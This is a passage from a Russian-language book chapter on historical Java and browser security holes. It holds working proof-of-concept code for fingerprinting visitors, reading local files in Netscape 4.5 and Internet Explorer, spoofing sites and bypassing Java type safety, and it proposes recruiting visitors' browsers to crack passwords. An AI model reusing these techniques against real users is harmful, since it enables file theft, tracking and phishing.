Чтение онлайн

ЖАНРЫ

Шрифт:

Впрочем, DoS-атаки не слишком интересны, пишутся без особых усилий и порой без осознанного участия автора апплета. Чтобы убедиться в этом, достаточно походить по иным перегруженным апплетами страницам. У окон сверхбольшого размера есть еще один интересный аспект – в этом случае на экран просто не помещается стандартное сообщение о том, что пользователь видит окно, созданное апплетом. А здесь уже открываются широкие возможности для социальной инженерии (см. главу 2). Наконец, мы можем воспользоваться потоками, чтобы заставить посетителя немного поработать на нас. Конечно, апплет имеет право установить сетевое соединение только с хостом, с которого он был запущен, но нам большего и не надо. Пишем сервер, способный обмениваться информацией с апплетом, запускаем его на том же хосте – и все, распределенная система поиска очередного простого числа, поиска опровержения большой теоремы Ферма или просто подбора паролей готова к работе. Можно даже не изобретать какой-то свой протокол, а воспользоваться готовыми – получать очередное задание по http, отправлять результаты по SMTP, заодно узнать побольше о пользователе. Возможности Java в этом плане ограничены, но в нашем распоряжении есть JavaScript, на котором можно написать, к примеру, код, собирающий информацию об установленных у клиента дополнительных модулях и передающий ее апплету:

/* Unplugged.java by Mark D. LaDue */

/* April 15, 1998 */

/* Copyright (c) 1998 Mark D. LaDue */

import netscape.applet.*;

import netscape.javascript.*;

public class Unplugged extends java.applet.Applet implements Runnable{

Thread controller = null;

JSObject jso = null;

int numplugs = 0;

String npname = null;

String[] plugs = null;

int histlen = 0;

public void init {

jso = JSObject.getWindow(this);

}

public void start {

if (controller == null) {

controller = new Thread(this);

controller.start;

}

}

public void stop {}

public void run {

Control.showConsole;

numplugs = (new Float((jso.eval("pcount")).toString)).intValue;

System.out.println("\nTotal number of plugins: " + numplugs + "\n");

plugs = new String[numplugs];

for (int i = 0; i < numplugs; i++) {

plugs[i] = (String) jso.eval("nextPlug");

System.out.println("Plugin " + (i+1) + ": " + plugs[i] + "\n");

}

histlen = (new Float((jso.eval("hcount")).toString)).intValue;

System.out.println("Total number of history entries: " + histlen);

}

}

Для

демонстрации нужно включить в html-файл следующий код:

<SCRIPT language="javascript">

navigator.plugins.refresh(true);

pcnt = 0;

hcnt = 0;

function pcount {

var pc = navigator.plugins.length;

return pc;

}

function nextPlug {

var np = navigator.plugins[pcnt].filename;

pcnt++;

return np;

}

function hcount {

var hc = history.length;

return hc;

}

</SCRIPT>

<applet mayscript name="Unplugged" code="Unplugged.class" width=1 height=1>

Атака на святая святых

Атаки, подобные перечисленным ранее, используют вполне законопослушный код, не предпринимают никаких попыток взломать систему безопасности Java и пишутся очень легко. Теперь же настала очередь атак другого рода, использующих прорехи в реализации виртуальных машин. Они очень наглядно демонстрируют, как небольшая ошибка сводит на нет работу всей системы безопасности. Все эти ошибки уже благополучно исправлены, но каждая из них могла привести к очень серьезным последствиям:

1. Первая и едва ли не самая громкая ошибка в Java, даже удостоившаяся внимания некомпьютерной прессы, позволяла обойти ограничение на соединение с посторонними хостами. Не будь этого ограничения, Java бы превратилась в идеальный инструмент взломщика, позволяющий делать черную работу чужими руками. При загрузке апплета запоминалось имя хоста. Взломщик, имеющий доступ к DNS-серверу своего домена, вполне мог подставить вместо своего адреса адрес жертвы. С тех пор все реализации Java запоминают IP-адрес сервера, с которого они загружались, а не имя хоста.

2. Netscape Navigator 2.01 воспринимал имя класса, начинающееся с символа «\», как вполне нормальное, что позволяло ссылаться практически на любой файл в системе, например лежащий в кэше браузера. Причем этот файл воспринимался уже как локальный и не попадал под ограничения для апплетов, загруженных из сети.

3. Ошибка, дающая возможность воспользоваться смешением типов.

4. Ошибки в верификаторе и механизме загрузки классов, позволяющие апплету создать свой ClassLoader. Это легко приводит к полному проникновению в систему. Защита строилась на том, что при создании нового ClassLoader вызывается конструктор предка, который возбуждает исключительную ситуацию. Был найден способ обойти вызов конструктора предка. Ошибка исправлена следующим образом: функция ClassLoader.defineClass, выполняющая ранее всю критичную работу, стала проверять флаг, устанавливаемый в конструкторе, и, только если он был установлен, вызывать private-функцию defineClass0.

5. Ошибка, связанная с приведением типов.

6. Проблема с пространствами имен. В двух разных апплетах могут быть описаны классы, имеющие одинаковые имена. Поскольку они выполняются в разных пространствах имен, проблема смешения типов не возникает. Но в Netscape Navigator 2.02 и первой бета-версии Internet Explorer типы исключений и интерфейсов сравнивались по именам, а не по парам (имя, пространство имен). И если один апплет передавал другому в качестве параметра объект такого класса, возникала стандартная ситуация смешения типов.

7. Незадолго до выхода Internet Explorer 3.0 в его последней бета-версии была обнаружена ошибка, связанная с именами пакетов (packages). Пакеты представляют собой группы классов, объединенных под одним именем. Их назначение двояко: во-первых, полное имя класса включает в себя имя пакета, которому он принадлежит; во-вторых, пакеты можно использовать для ограничения доступа – если не указан спецификатор доступа, считается, что переменная или функция доступна только классам этого пакета. Некоторые пакеты ограничивают свое членство лишь классами, входящими в стандартную поставку, за чем следит менеджер безопасности. Ошибка заключалась в следующем: менеджер безопасности учитывал только часть имени пакета при проверке контроля доступа, что не срабатывало для пакетов, чье имя начиналось с com.ms. В результате посторонний пакет мог получить доступ к внутренним переменным системных пакетов, в том числе к списку файлов, к которым апплет может получить доступ.

Остановимся чуть подробнее на некоторых из них.

Смешение типов может работать следующим образом. Предположим, что у нас есть два класса

class T

{

SecurityManager x;

}

class U

{

MyObject x;

}

Далее заводим два указателя – t класса T и u класса U, каким-то образом заставляем их указывать на одну и ту же область памяти, после чего выполняем следующий код:

t.x = System.getSecurity; // получаем SecurityManager MyObject m = u.x;

Теперь m указывает на ту же область памяти, где находится SecurityManager, и мы можем безболезненно менять его содержимое через поля объекта m. Подобная атака сработает при любом смешении типов, остается лишь найти ошибку, позволяющую проделать подобное совмещение указателей.

И такая ошибка была найдена в одной из бета-версий Netscape Navigator. При создании класса T неявно создается тип массив класса Т для внутреннего пользования. Его имя начинается с «[», и, поскольку нельзя создать класс, имя которого начинается с этого символа, все работает безошибочно. Но в той версии Netscape Navigator удавалось загрузить класс с таким именем. Точнее, при этом выдавалась ошибка, но виртуальная машина устанавливала имя в своей внутренней таблице. В результате Java считала объект массивом, хотя он принадлежал совсем другому типу. Итог – замена SecurityManager и потенциальный захват системы.

Ошибка, связанная с приведением типов:

interface Inter

{

void f;

}

class Secure implements Inter

{

private void f;

}

class Dummy extends Secure implements Inter

{

public void f;

Dummy

{

Secure s = new Secure;

Inter i = (Inter) s;

i.f;

}

}

В

этом коде вызов i.f должен быть опознан как вызов защищенного метода класса Secure и запрещен. Неверное поведение Netscape Navigator 2.02 привело к возможности вызова закрытой функции defineClass0, призванной исправить ошибки в верификаторе и механизме загрузки классов. Небольшая модификация этой же ошибки:

interface Inter

{

void f;

}

class Secure implements Inter

{

private void f;

}

class Dummy implements Inter

{

public void f;

static void attack

{

Inter inter[2] = {new Dummy, new Secure };

for(int j=0; j<2; ++j) inter[j].f;

}

}

Выяснилось, что в целях оптимизации проверка на корректность вызова осуществлялась только при первом проходе цикла.

Ошибка в бета-версии Internet Explorer 3.0 была последней серьезной ошибкой, найденной в реализациях JDK 1.0.2. После ее обнаружения и до выхода JDK 1.1 прошло шесть спокойных месяцев.

Далее последовали ошибки, позволяющие определить реальный IP-адрес машины и список открытых портов, получить список авторов, подписям которых доверяют на этой машине, и сымитировать доверяемую подпись, отключить контроль за безопасностью в Netscape Navigator 4.0x, и еще 24 ошибки в верификаторе от JDK 1.0.2, 15 из которых перешли в 1.1.1, и 17 ошибок в верификаторе Internet Explorer.

Таким образом, несмотря на все заявления об окончательном решении проблемы безопасности в Java, нельзя не заметить, что до сих пор во всех ее реализациях были обнаружены серьезные ошибки, и нет оснований в ближайшее время рассчитывать на ее полную безопасность.

Не только Java

Не будем подробно останавливаться на каждой ошибке, обнаруженной в популярных браузерах, постараемся лишь выделить основные из них. Соответствующая информация регулярно появляется на сайтах производителей (для Internet Explorer –для Netscape Navigator –, оттуда же можно скопировать последние обновления и исправления, что обязательно стоит сделать, если вы хотите чувствовать себя в относительной безопасности при работе в Сети.

Можно выделить две основные категории ошибок в браузерах, не связанных непосредственно с Java: ошибки, позволяющие передать по сети содержимое локальных файлов и другой информации о пользователе, и ошибки, приводящие к нарушению работоспособности браузера, а в отдельных случаях и всей системы.

Ошибки первого типа наиболее разнообразны по способу реализации. Большинство ошибок Netscape Navigator связано с JavaScript. Среди них можно выделить передачу файлов через форму без ведома пользователя, использование средств взаимодействия Java и JavaScript для отслеживания действий пользователя (посещаемые сайты, данные, отправляемые через формы), получение файла с пользовательскими настройками (к примеру, пароль для доступа к почтовому серверу), «подделка» сайтов – отображение в окне браузера информации, не соответствующей адресной строке.

Так, следующий код, работающий в Netscape Navigator 4.5, демонстрирует считывание файла с локального диска. В примере первые несколько строк файла c: \test.txt выводятся в окне сообщения, этот же код можно использовать и для передачи содержимого на сервер через форму или каким-то другим способом.

<SCRIPT>

sl=window.open("wysiwyg://1/file:///C|/");

sl2=sl.window.open;

sl2.location=

"javascript:s=’<SCRIPT>b=\"Here is the beginning of your file: \";"+

"var f = new java.io.File(\"C:\\\\\\\\test.txt\");"+

"var fis = new java.io.FileInputStream(f);"+

"i=0; while ( ((a=fis.read) != -1) && (i<100) )"+

"{ b += String.fromCharCode(a);i++;}alert(b);</’+’SCRIPT>’";

</SCRIPT>

Следующий код демонстрирует технику подделки сайтов: строка адреса указывает на www.yahoo.com, в окне же находится любой текст, который вы вывели с помощью JavaScript, например форма с вводом пароля и т. п.

<SCRIPT>

function doit

{

a.document.open;

a.document.write("Любой html-код");

a.document.close;

}

function winopen

{

//Можно также использовать

//a=window.open("view-source:javascript:location=’wysiwyg://1/http://www.yahoo.com’;");

a=window.open("view-source:javascript:location=’http://www.yahoo.com’;");

setTimeout("doit",300);

}

</SCRIPT>

<BR>

<A href="#" onclick="winopen"

onMouseOver="window.status=’http://www.yahoo.com’;return true">

Follow this link to go to www.yahoo.com (or somewhere else)

</A>

Среди ошибок, характерных для Internet Explorer, помимо традиционных проблем с JavaScript, приводящих все к тому же слежению за пользователем и передаче файлов через формы, можно выделить ошибки, использующие тесную интеграцию Internet Explorer с другими системными объектами и обходящие защиту, основанную на зонах безопасности. При этом активно используются объекты ActiveX.

Так, например, добавление %01someURL\' к какому-то другому адресу заставляет Internet Explorer считать, что документ загружен из домена, которому принадлежит someURL. Этот пробел в безопасности может использоваться и для считывания локальных файлов с диска пользователя, и для подделки сайтов.

Следующий код заставляет Internet Explorer считать, что объект TDC создается из файла на жестком диске, и дает ему возможность работать с локальными файлами. Дальнейшее развитие этой идеи вполне может привести к созданию полноценного html-вируса, размножающегося при загрузке из Сети, а не только из локального файла, как это было с вирусом HTML.Internal:

<SCRIPT>

s="about:<SCRIPT>a=window.open(’view-source:x’);a.document.open;"+

"a.document.write(\"<object id=’myTDC’ width=100 height=100"+

"classid="CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83\'>"+

"<param name=’DataURL’ value=’c:/test.txt’>"+

"<param name=’UseHeader’ value=False>"+

"<param name=’CharSet’ VALUE=’iso-8859-1\'>"

"<param name=’FieldDelim’ value=’}’>"+

"<param name=’RowDelim’ value=’}’>"+

"<param name=’TextQualifier’ value=’}’>"

"</object><form><textarea datasrc=’#myTDC’ datafld=’Column1\' rows=10 cols=80>"+

"</textarea></form>\");a.document.write"+

"(\'<SCRIPT>setTimeout(\"alert(document.forms[0].elements[0].value)\",4000)</SCRIPT’);"+

"a.document.write(’>’);a.document.close;close;</"+

"SCRIPT>%01file://c:/";

b=showModalDialog(s);

</SCRIPT>

Использование этой же ошибки в целях подделки сайтов демонстрирует следующий код:

<SCRIPT>

b=showModalDialog(

"about:<SCRIPT>a=window.open(’http://www.yahoo.com’);"

+"a.document.write(’<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD>Любойhtml-код’); close</"

+"SCRIPT>%01http://www.yahoo.com");

</SCRIPT>

В ряде ошибок, обнаруженных J. C. G. Cuartango, встречаются различные модификации идеи применять буфер обмена Windows для передачи информации о компьютере клиента. Самый первый вариант скрипта выглядел так:

Поделиться с друзьями: